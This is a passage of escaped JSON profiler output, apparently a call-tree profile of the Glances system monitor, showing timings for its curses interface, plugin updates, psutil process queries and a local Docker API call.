0.100535,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100515,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051473000203259, \"l1202\": 0.10051473000203259},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100515,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100515,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100569,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056851799890865, \"l291\": 0.10056851799890865},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100569,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056851799890865, \"l260\": 0.10056851799890865},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100569,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100569,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100340,\"attributes\": {\"cGlancesCursesStandalone\": 0.1003396000014618, \"l1202\": 0.1003396000014618},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100340,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100340,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100254,\"attributes\": {\"cGlancesCursesStandalone\": 0.10025429000233999, \"l291\": 0.10025429000233999},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100254,\"attributes\": {\"cGlancesCursesStandalone\": 0.10025429000233999, \"l260\": 0.10025429000233999},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100254,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100254,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100499,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049855199758895, \"l1202\": 0.10049855199758895},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100499,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100499,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.101064,\"attributes\": {\"cGlancesStats\": 0.10106362999795238, \"l287\": 0.10106362999795238},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.101064,\"attributes\": {\"cGlancesStats\": 0.10106362999795238, \"l575\": 0.10106362999795238},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.101064,\"attributes\": {\"l571\": 0.10106362999795238},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.101064,\"attributes\": {\"cGlancesStats\": 0.10106362999795238, \"l274\": 0.08105699099542107, \"l275\": 0.0200066390025313},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.062058,\"attributes\": {\"cDiskioPlugin\": 0.0040595899990876205, \"l1278\": 0.062057923001702875, \"cContainersPlugin\": 0.00407852199714398, \"cProcesscountPlugin\": 0.053919811005471274},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.062058,\"attributes\": {\"l1295\": 0.062057923001702875},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.004060,\"attributes\": {\"cDiskioPlugin\": 0.0040595899990876205, \"l114\": 0.0040595899990876205},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.004060,\"attributes\": {\"cDiskioPlugin\": 0.0040595899990876205, \"l1351\": 0.0020767609967151657, \"l1362\": 0.001982829002372455},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.002077,\"attributes\": {\"cDiskioPlugin\": 0.0020767609967151657, \"l148\": 0.0020767609967151657},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.002077,\"attributes\": {\"l2133\": 0.0020767609967151657},\"children\": [{\"identifier\": \"wrap_numbers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000654\",\"time\": 0.002077,\"attributes\": {\"l660\": 0.0020767609967151657},\"children\": [{\"identifier\": \"run\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000597\",\"time\": 0.002077,\"attributes\": {\"c_WrapNumbers\": 0.0020767609967151657, \"l606\": 0.0020767609967151657},\"children\": [{\"identifier\": \"_remove_dead_reminders\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000586\",\"time\": 0.002077,\"attributes\": {\"c_WrapNumbers\": 0.0020767609967151657, \"l591\": 0.0020767609967151657},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002077,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"compute_rate_on_list\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001339\",\"time\": 0.001983,\"attributes\": {\"cDiskioPlugin\": 0.001982829002372455, \"l1346\": 0.001982829002372455},\"children\": [{\"identifier\": \"compute_rate\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001307\",\"time\": 0.001983,\"attributes\": {\"cDiskioPlugin\": 0.001982829002372455, \"l1320\": 0.001982829002372455},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001983,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.004079,\"attributes\": {\"cContainersPlugin\": 0.00407852199714398, \"l252\": 0.00407852199714398},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.004079,\"attributes\": {\"l256\": 0.00407852199714398},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.004079,\"attributes\": {\"l248\": 0.00407852199714398},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.004079,\"attributes\": {\"cDockerExtension\": 0.00407852199714398, \"l260\": 0.00407852199714398},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.004079,\"attributes\": {\"cContainerCollection\": 0.00407852199714398, \"l1009\": 0.00407852199714398},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.004079,\"attributes\": {\"cAPIClient\": 0.00407852199714398, \"l212\": 0.00407852199714398},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.004079,\"attributes\": {\"cAPIClient\": 0.00407852199714398, \"l44\": 0.00407852199714398},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.004079,\"attributes\": {\"cAPIClient\": 0.00407852199714398, \"l246\": 0.00407852199714398},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.004079,\"attributes\": {\"cAPIClient\": 0.00407852199714398, \"l602\": 0.00407852199714398},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.004079,\"attributes\": {\"cAPIClient\": 0.00407852199714398, \"l575\": 0.002000868997129146, \"l589\": 0.002077653000014834},\"children\": [{\"identifier\": \"prepare_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000457\",\"time\": 0.002001,\"attributes\": {\"cAPIClient\": 0.002000868997129146, \"l490\": 0.002000868997129146},\"children\": [{\"identifier\": \"merge_setting\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u000061\",\"time\": 0.002001,\"attributes\": {\"l80\": 0.002000868997129146},\"children\": [{\"identifier\": \"to_key_val_list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/utils.py\\u0000335\",\"time\": 0.002001,\"attributes\": {\"l361\": 0.002000868997129146},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.002078,\"attributes\": {\"cAPIClient\": 0.002077653000014834, \"l703\": 0.002077653000014834},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.002078,\"attributes\": {\"cUnixHTTPAdapter\": 0.002077653000014834, \"l644\": 0.002077653000014834},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002078,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002077653000014834, \"l787\": 0.002077653000014834},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002078,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002077653000014834, \"l534\": 0.002077653000014834},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002078,\"attributes\": {\"cUnixHTTPConnection\": 0.002077653000014834, \"l571\": 0.002077653000014834},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002078,\"attributes\": {\"cUnixHTTPConnection\": 0.002077653000014834, \"l1430\": 0.002077653000014834},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002078,\"attributes\": {\"cHTTPResponse\": 0.002077653000014834, \"l331\": 0.002077653000014834},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.002078,\"attributes\": {\"cHTTPResponse\": 0.002077653000014834, \"l292\": 0.002077653000014834},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.002078,\"attributes\": {\"cSocketIO\": 0.002077653000014834, \"l725\": 0.002077653000014834},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.002078,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002078,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.053920,\"attributes\": {\"cProcesscountPlugin\": 0.053919811005471274, \"l85\": 0.053919811005471274},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.053920,\"attributes\": {\"cGlancesProcesses\": 0.053919811005471274, \"l617\": 0.04991529400285799, \"l644\": 0.002000289001443889, \"l659\": 0.0020042280011693947},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.049915,\"attributes\": {\"cGlancesProcesses\": 0.04991529400285799, \"l478\": 0.04191862300649518, \"l493\": 0.007996670996362809},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.041919,\"attributes\": {\"l1558\": 0.04191862300649518},\"children\": [{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.041919,\"attributes\": {\"cProcess\": 0.04191862300649518, \"l579\": 0.03591877700819168, \"l572\": 0.003997384999820497, \"l578\": 0.002002460998483002},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001920,\"attributes\": {\"cProcess\": 0.0019198430018150248, \"l382\": 0.0019198430018150248},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001920,\"attributes\": {\"cProcess\": 0.0019198430018150248, \"l1138\": 0.0019198430018150248},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001920,\"attributes\": {\"cProcess\": 0.0019198430018150248, \"l1593\": 0.0019198430018150248},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001920,\"attributes\": {\"cProcess\": 0.0019198430018150248, \"l1879\": 0.0019198430018150248},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001920,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.002095,\"attributes\": {\"cProcess\": 0.002094591000059154, \"l812\": 0.002094591000059154},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002095,\"attributes\": {\"cProcess\": 0.002094591000059154, \"l1593\": 0.002094591000059154},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.002095,\"attributes\": {\"cProcess\": 0.002094591000059154, \"l2268\": 0.002094591000059154},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.002095,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002095,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.003903,\"attributes\": {\"cProcess\": 0.003902584001480136, \"l939\": 0.003902584001480136},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003903,\"attributes\": {\"cProcess\": 0.003902584001480136, \"l1593\": 0.003902584001480136},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.003903,\"attributes\": {\"cProcess\": 0.003902584001480136, \"l2052\": 0.003902584001480136},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003903,\"attributes\": {\"cProcess\": 0.003902584001480136, \"l1593\": 0.003902584001480136},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003903,\"attributes\": {\"cProcess\": 0.003902584001480136, \"l382\": 0.003902584001480136},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.003903,\"attributes\": {\"cProcess\": 0.003902584001480136, \"l1719\": 0.003902584001480136},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.003903,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001904,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001919983769767, \"l1064\": 0.0020001919983769767},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002000,\"attributes\": {\"l1682\": 0.0020001919983769767},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002000,\"attributes\": {\"l538\": 0.0020001919983769767},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003870013169944, \"l382\": 0.0020003870013169944},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003870013169944, \"l1138\": 0.0020003870013169944},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003870013169944, \"l1593\": 0.0020003870013169944},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003870013169944, \"l1878\": 0.0020003870013169944},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0020003870013169944},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"helper\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000303\",\"time\": 0.001998,\"attributes\": {\"l305\": 0.001998261002881918},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002329983981326, \"l1064\": 0.0020002329983981326},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002000,\"attributes\": {\"l1682\": 0.0020002329983981326},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002000,\"attributes\": {\"l538\": 0.0020002329983981326},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"helper\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000303\",\"time\": 0.001999,\"attributes\": {\"l305\": 0.001999123996938579},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000108\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.001999123996938579, \"l112\": 0.001999123996938579},\"children\": [{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000717999180779, \"l836\": 0.002000717999180779},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000717999180779, \"l1595\": 0.002000717999180779},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005540063721128, \"l687\": 0.0020005540063721128},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005540063721128, \"l748\": 0.0020005540063721128},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005540063721128, \"l1593\": 0.0020005540063721128},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997316001506988, \"l382\": 0.001997316001506988},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997316001506988, \"l1138\": 0.001997316001506988},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997316001506988, \"l1593\": 0.001997316001506988},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997316001506988, \"l1880\": 0.001997316001506988},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002209930680692, \"l836\": 0.0020002209930680692},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002209930680692, \"l1593\": 0.0020002209930680692},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002209930680692, \"l1796\": 0.0020002209930680692},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000965003389865, \"l382\": 0.002000965003389865},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000965003389865, \"l1138\": 0.002000965003389865},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000965003389865, \"l1593\": 0.002000965003389865},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000965003389865, \"l1878\": 0.002000965003389865},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002001,\"attributes\": {\"l682\": 0.002000965003389865},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987159976153634, \"l939\": 0.0019987159976153634},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987159976153634, \"l1593\": 0.0019987159976153634},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987159976153634, \"l2053\": 0.0019987159976153634},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002300007035956, \"l836\": 0.0020002300007035956},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002300007035956, \"l1593\": 0.0020002300007035956},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.0039998720021685585, \"l680\": 0.0020003780009574257, \"l687\": 0.001999494001211133},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003780009574257, \"l1593\": 0.0020003780009574257},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003780009574257, \"l1740\": 0.0020003780009574257},\"children\": [{\"identifier\": 